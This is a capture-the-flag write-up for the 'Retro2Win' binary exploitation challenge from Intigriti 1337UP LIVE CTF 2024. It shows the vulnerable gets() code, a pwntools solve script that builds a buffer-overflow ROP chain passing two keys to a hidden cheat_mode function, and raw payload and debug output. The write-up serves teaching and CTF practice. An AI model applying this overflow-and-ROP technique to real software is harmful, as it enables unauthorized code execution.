Skip to content

Latest commit

 

History

History
307 lines (247 loc) · 8.94 KB

retro2win.md

File metadata and controls

307 lines (247 loc) · 8.94 KB
name event category description layout
Retro2Win (2024)
Intigriti 1337UP LIVE CTF 2024
Pwn
Writeup for Retro2Win (Pwn) - 1337UP LIVE CTF (2024) 💜
title description tableOfContents outline pagination
visible
true
visible
true
visible
true
visible
true
visible
true

Retro2Win

Video Walkthrough

VIDEO

Challenge Description

So retro.. So winning..

Solution

I'm going to skip over some of the steps, because I cover in more detail in the video walkthrough and the approach is the same as Rigged Slot Machine (disassemble, find offset etc).

Anyway, the binary has no canaries and PIE is disabled.

{% code overflow="wrap" %}

checksec --file retro2win
[*] '/home/crystal/Desktop/challs/pwn/Retro2Win/solution/retro2win'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

{% endcode %}

Here's what the functionality looks like.

{% code overflow="wrap" %}

nc localhost 1338
*****************************
*       Retro2Win Game      *
*****************************
1. Explore the Forest
2. Battle the Dragon
3. Quit

Select an option:
1
You are walking through a dark forest...
I don't think there's any flags around here...

*****************************
*       Retro2Win Game      *
*****************************
1. Explore the Forest
2. Battle the Dragon
3. Quit

Select an option:
2
You encounter a ferocious dragon!
But it's too strong for you...
Only if you had some kind of cheat...

*****************************
*       Retro2Win Game      *
*****************************
1. Explore the Forest
2. Battle the Dragon
3. Quit

Select an option:
3
Quitting game...

{% endcode %}

Nothing! If we disassemble the code, we will find a hidden menu option 1337.

{% code overflow="wrap" %}

nc localhost 1338
*****************************
*       Retro2Win Game      *
*****************************
1. Explore the Forest
2. Battle the Dragon
3. Quit

Select an option:
1337
Enter your cheatcode:
1337
Checking cheatcode: 1337!
*****************************
*       Retro2Win Game      *
*****************************
1. Explore the Forest
2. Battle the Dragon
3. Quit

{% endcode %}

Nothing will work though, that's because the enter_cheatcode() function looks like this.

{% code overflow="wrap" %}

void enter_cheatcode()
{
    char code[16];

    printf("Enter your cheatcode:\n");
    gets(code);
    printf("Checking cheatcode: %s!\n", code);
}

{% endcode %}

Spot the buffer overflow? Yes, but no flag. Check out this other cheat_mode function though.

{% code overflow="wrap" %}

void cheat_mode(long key1, long key2)
{
    if (key1 == 0x2323232323232323 && key2 == 0x4242424242424242)
    {
        printf("CHEAT MODE ACTIVATED!\n");
        printf("You now have access to secret developer tools...\n\n");

        FILE *file = fopen("flag.txt", "r");
        if (file == NULL)
        {
            printf("Error: Could not open flag.txt\n");
            return;
        }
        char flag[64];
        if (fgets(flag, sizeof(flag), file) != NULL)
        {
            printf("FLAG: %s\n", flag);
        }
        fclose(file);
    }
    else
    {
        printf("Unauthorized access detected! Returning to main menu...\n\n");
    }
}

{% endcode %}

There are no execution paths to this function, so we need to exploit the buffer overflow to redirect the program execution. However, we also need to ensure the correct key1 and key2 are provided. Essentially, we have a ret2win challenge with parameters. Here's a solve script I put together.

solve.py

{% code overflow="wrap" %}

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

def find_ip(payload):
    # Launch process and navigate to the cheat code entry
    p = process(exe)
    p.sendlineafter(b'Select an option:', b'1337')
    p.sendlineafter(b'cheatcode:', payload)
    # Wait for the process to crash
    p.wait()
    # Print out the address of EIP/RIP at the time of crashing
    ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))  # x64
    info('Located EIP/RIP offset at {a}'.format(a=ip_offset))
    return ip_offset

# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Set up pwntools for the correct architecture
exe = './retro2win'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Pass in pattern_size, get back EIP/RIP offset
offset = find_ip(cyclic(64))

# Start program
io = start()

# Navigate through the menu to reach the cheat code entry
io.sendlineafter(b'Select an option:', b'1337')  # Enter hidden option

# ROP object
rop = ROP(elf)
rop.cheat_mode(0x2323232323232323, 0x4242424242424242)

# Build the payload
payload = flat({
    offset: [rop.chain()]
})

pprint(rop.dump())

# Send the payload
io.sendlineafter(b'cheatcode:', payload)

# Get flag
io.interactive()

{% endcode %}

For some reason, it only comes through in the debug. Not sure if this is down to my exploit, the config on the server env (maybe the socat command in the dockerfile) or the C code itself. I CBA to debug, you'll work it out! 😅

{% code overflow="wrap" %}

[+] Opening connection to 127.0.0.1 on port 1338: Done
[DEBUG] Received 0xa8 bytes:
    b'*****************************\r\n'
    b'*       Retro2Win Game      *\r\n'
    b'*****************************\r\n'
    b'1. Explore the Forest\r\n'
    b'2. Battle the Dragon\r\n'
    b'3. Quit\r\n'
    b'\r\n'
    b'Select an option:\r\n'
[DEBUG] Sent 0x5 bytes:
    b'1337\n'
[*] Loaded 14 cached gadgets for './retro2win'
('0x0000:         0x4009b3 pop rdi; ret\n'
 '0x0008: 0x2323232323232323 [arg0] rdi = 2531906049332683555\n'
 '0x0010:         0x4009b1 pop rsi; pop r15; ret\n'
 '0x0018: 0x4242424242424242 [arg1] rsi = 4774451407313060418\n'
 "0x0020:      b'iaaajaaa' <pad r15>\n"
 '0x0028:         0x400736 cheat_mode')
[DEBUG] Received 0x6 bytes:
    b'1337\r\n'
[DEBUG] Received 0x17 bytes:
    b'Enter your cheatcode:\r\n'
[DEBUG] Sent 0x49 bytes:
    00000000  61 61 61 61  62 61 61 61  63 61 61 61  64 61 61 61  │aaaa│baaa│caaa│daaa│
    00000010  65 61 61 61  66 61 61 61  b3 09 40 00  00 00 00 00  │eaaa│faaa│··@·│····│
    00000020  23 23 23 23  23 23 23 23  b1 09 40 00  00 00 00 00  │####│####│··@·│····│
    00000030  42 42 42 42  42 42 42 42  69 61 61 61  6a 61 61 61  │BBBB│BBBB│iaaa│jaaa│
    00000040  36 07 40 00  00 00 00 00  0a                        │6·@·│····│·│
    00000049
[*] Switching to interactive mode

[DEBUG] Received 0xf3 bytes:
    00000000  61 61 61 61  62 61 61 61  63 61 61 61  64 61 61 61  │aaaa│baaa│caaa│daaa│
    00000010  65 61 61 61  66 61 61 61  b3 09 40 5e  40 5e 40 5e  │eaaa│faaa│··@^│@^@^│
    00000020  40 5e 40 5e  40 23 23 23  23 23 23 23  23 b1 09 40  │@^@^│@###│####│#··@│
    00000030  5e 40 5e 40  5e 40 5e 40  5e 40 42 42  42 42 42 42  │^@^@│^@^@│^@BB│BBBB│
    00000040  42 42 69 61  61 61 6a 61  61 61 36 5e  47 40 5e 40  │BBia│aaja│aa6^│G@^@│
    00000050  5e 40 5e 40  5e 40 5e 40  0d 0a 43 68  65 63 6b 69  │^@^@│^@^@│··Ch│ecki│
    00000060  6e 67 20 63  68 65 61 74  63 6f 64 65  3a 20 61 61  │ng c│heat│code│: aa│
    00000070  61 61 62 61  61 61 63 61  61 61 64 61  61 61 65 61  │aaba│aaca│aada│aaea│
    00000080  61 61 66 61  61 61 b3 09  40 21 0d 0a  43 48 45 41  │aafa│aa··│@!··│CHEA│
    00000090  54 20 4d 4f  44 45 20 41  43 54 49 56  41 54 45 44  │T MO│DE A│CTIV│ATED│
    000000a0  21 0d 0a 59  6f 75 20 6e  6f 77 20 68  61 76 65 20  │!··Y│ou n│ow h│ave │
    000000b0  61 63 63 65  73 73 20 74  6f 20 73 65  63 72 65 74  │acce│ss t│o se│cret│
    000000c0  20 64 65 76  65 6c 6f 70  65 72 20 74  6f 6f 6c 73  │ dev│elop│er t│ools│
    000000d0  2e 2e 2e 0d  0a 0d 0a 46  4c 41 47 3a  20 49 4e 54  │...·│···F│LAG:│ INT│
    000000e0  49 47 52 49  54 49 7b 66  61 6b 65 5f  66 6c 61 67  │IGRI│TI{f│ake_│flag│
    000000f0  7d 0d 0a                                            │}··│
    000000f3

{% endcode %}

Flag: INTIGRITI{3v3ry_c7f_n33d5_50m3_50r7_0f_r372w1n}

If you want to learn more about binary exploitation, check out my beginner series!